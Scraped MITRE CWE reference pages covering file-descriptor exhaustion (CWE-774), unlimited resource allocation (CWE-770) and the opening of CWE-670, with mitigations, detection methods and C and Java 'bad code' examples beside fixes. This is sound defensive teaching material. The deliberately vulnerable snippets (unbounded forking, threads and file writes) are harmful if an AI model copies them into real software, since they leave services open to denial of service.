View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.
+ Extended Description
This can cause the product to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.
+ Alternate Terms
File Descriptor Exhaustion
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.770Allocation of Resources Without Limits or Throttling
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (Other)

When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.
+ Likelihood Of Exploit
Low
+ Potential Mitigations

Phases: Operation; Architecture and Design

Strategy: Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.985SFP Secondary Cluster: Unrestricted Consumption
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP13Unrestricted Consumption
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "Resource Limits", Page 574. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-05-13
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Relationships
2019-01-03CWE Content TeamMITRE
updated Alternate_Terms, Relationships, Theoretical_Notes
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-770: Allocation of Resources Without Limits or Throttling

Weakness ID: 770
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.
+ Extended Description

Code frequently has to work with limited resources, so programmers must be careful to ensure that resources are not consumed too quickly, or too easily. Without use of quotas, resource limits, or other protection mechanisms, it can be easy for an attacker to consume many resources by rapidly making many requests, or causing larger resources to be used than is needed. When too many resources are allocated, or if a single resource is too large, then it can prevent the code from working correctly, possibly leading to a denial of service.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.665Improper Initialization
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.400Uncontrolled Resource Consumption
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.774Allocation of File Descriptors or Handles Without Limits or Throttling
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.789Memory Allocation with Excessive Size Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1325Improperly Controlled Sequential Memory Allocation
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.840Business Logic Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.400Uncontrolled Resource Consumption
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
Operation
System Configuration
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other)

When allocating resources without limits, an attacker could prevent other systems, applications, or processes from accessing the same type of resource.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code allocates a socket and forks each time it receives a new connection.

(bad code)
Example Language:
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
newsock=accept(sock, ...);
printf("A connection has been accepted\n");
pid = fork();
}

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

Example 2

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

(bad code)
Example Language:
int writeDataFromSocketToFile(char *host, int port)
{

char filename[FILENAME_SIZE];
char buffer[BUFFER_SIZE];
int socket = openSocketConnection(host, port);

if (socket < 0) {
printf("Unable to open socket connection");
return(FAIL);
}
if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
if (openFileToWrite(filename) > 0) {
while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
if (!(writeToFile(buffer) > 0))
break;
}
}
closeFile();
}
closeSocket(socket);
}

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

Example 3

In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

(bad code)
Example Language:

/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */
int processMessage(char **message)
{
char *body;

int length = getMessageLength(message[0]);

if (length > 0) {
body = &message[1][0];
processMessageBody(body);
return(SUCCESS);
}
else {
printf("Unable to process message; invalid message length");
return(FAIL);
}
}

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

(good code)
Example Language:
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}

Example 4

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

(bad code)
Example Language: Java 
public void acceptConnections() {
try {
ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
int counter = 0;
boolean hasConnections = true;
while (hasConnections) {
Socket client = serverSocket.accept();
Thread t = new Thread(new ClientSocketThread(client));
t.setName(client.getInetAddress().getHostName() + ":" + counter++);
t.start();
}
serverSocket.close();


} catch (IOException ex) {...}
}

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

(good code)
Example Language: Java 
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...

public void acceptConnections() {
try {
ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
int counter = 0;
boolean hasConnections = true;
while (hasConnections) {
hasConnections = checkForMoreConnections();
Socket client = serverSocket.accept();
Thread t = new Thread(new ClientSocketThread(client));
t.setName(client.getInetAddress().getHostName() + ":" + counter++);
ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
pool.execute(t);
}
serverSocket.close();


} catch (IOException ex) {...}
}

Example 5

An unnamed web site allowed a user to purchase tickets for an event. A menu option allowed the user to purchase up to 10 tickets, but the back end did not restrict the actual number of tickets that could be purchased.

Example 5 References:
[REF-667] Rafal Los. "Real-Life Example of a 'Business Logic Defect' (Screen Shots!)". 2011. <http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581>.

Example 6

Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory.

(bad code)
Example Language:
bar connection() {
foo = malloc(1024);
return foo;
}

endConnection(bar foo) {
free(foo);
}

int main() {
while(1) {
foo=connection();
}

endConnection(foo)
}
+ Observed Examples
ReferenceDescription
Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).
Language interpreter does not restrict the number of temporary files being created when handling a MIME request with a large number of parts..
Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption.
Large integer value for a length property in an object causes a large amount of memory allocation.
Product allows exhaustion of file descriptors when processing a large number of TCP packets.
Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created.
Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window.
CMS does not restrict the number of searches that can occur simultaneously, leading to resource exhaustion.
web application scanner attempts to read an excessively large file created by a user, causing process termination
Go-based workload orchestrator does not limit resource usage with unauthenticated connections, allowing a DoS by flooding the service
+ Potential Mitigations

Phase: Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Phase: Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Phase: Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Note: This will only be applicable to cases where user input can influence the size or frequency of resource allocations.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either:

  • recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.

The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.

The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.

Phase: Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Phases: Architecture and Design; Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

Ensure that all failures in resource allocation place the system into a safe posture.

Phases: Operation; Architecture and Design

Strategy: Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

+ Detection Methods

Manual Static Analysis

Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause.

When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.

Effectiveness: Opportunistic

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame. Manual analysis is likely required to interpret the results.

Automated Static Analysis

Specialized configuration or tuning may be required to train automated tools to recognize this weakness.

Automated static analysis typically has limited utility in recognizing unlimited allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.

Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.858The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.861The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.985SFP Secondary Cluster: Unrestricted Consumption
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1148SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1152SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This entry is different from uncontrolled resource consumption (CWE-400) in that there are other weaknesses that are related to inability to control resource consumption, such as holding on to a resource too long after use, or not correctly keeping track of active resources so that they can be managed and released when they are finished (CWE-771).

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)FIO04-JClose resources when they are no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)SER12-JAvoid memory and resource leaks during serialization
The CERT Oracle Secure Coding Standard for Java (2011)MSC05-JDo not exhaust heap space
ISA/IEC 62443Part 4-2Req CR 7.2
ISA/IEC 62443Part 4-2Req CR 2.7
ISA/IEC 62443Part 4-1Req SI-1
ISA/IEC 62443Part 4-1Req SI-2
ISA/IEC 62443Part 3-3Req SR 7.2
ISA/IEC 62443Part 3-3Req SR 2.7
+ References
[REF-386] Joao Antunes, Nuno Ferreira Neves and Paulo Verissimo. "Detection and Prediction of Resource-Exhaustion Vulnerabilities". Proceedings of the IEEE International Symposium on Software Reliability Engineering (ISSRE). 2008-11. <http://homepages.di.fc.ul.pt/~nuno/PAPERS/ISSRE08.pdf>.
[REF-387] D.J. Bernstein. "Resource exhaustion". <http://cr.yp.to/docs/resources.html>.
[REF-388] Pascal Meunier. "Resource exhaustion". Secure Programming Educational Material. 2004. <http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 17, "Protecting Against Denial of Service Attacks" Page 517. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-667] Rafal Los. "Real-Life Example of a 'Business Logic Defect' (Screen Shots!)". 2011. <http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581>.
[REF-672] Frank Kim. "Top 25 Series - Rank 22 - Allocation of Resources Without Limits or Throttling". SANS Software Security Institute. 2010-03-23. <https://web.archive.org/web/20170113055136/https://software-security.sans.org/blog/2010/03/23/top-25-series-rank-22-allocation-of-resources-without-limits-or-throttling/>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "Resource Limits", Page 574. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-05-13
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Contributions
Contribution DateContributorOrganization
2023-11-14
(CWE 4.14, 2024-02-29)
participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop
Contributed or reviewed taxonomy mappings for ISA/IEC 62443
+ Modifications
Modification DateModifierOrganization
2009-07-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-10-29CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Observed_Examples, References, Time_of_Introduction
2010-02-16CWE Content TeamMITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2010-04-05CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Potential_Mitigations, References
2010-09-27CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-06-23CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns, Relationships
2020-06-25CWE Content TeamMITRE
updated Applicable_Platforms, Description, Maintenance_Notes, Potential_Mitigations, Relationship_Notes, Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Observed_Examples
2022-10-13CWE Content TeamMITRE
updated Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Description, Detection_Factors
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Taxonomy_Mappings

CWE-670: Always-Incorrect Control Flow Implementation

Weakness ID: 670
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.
+ Extended Description
This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
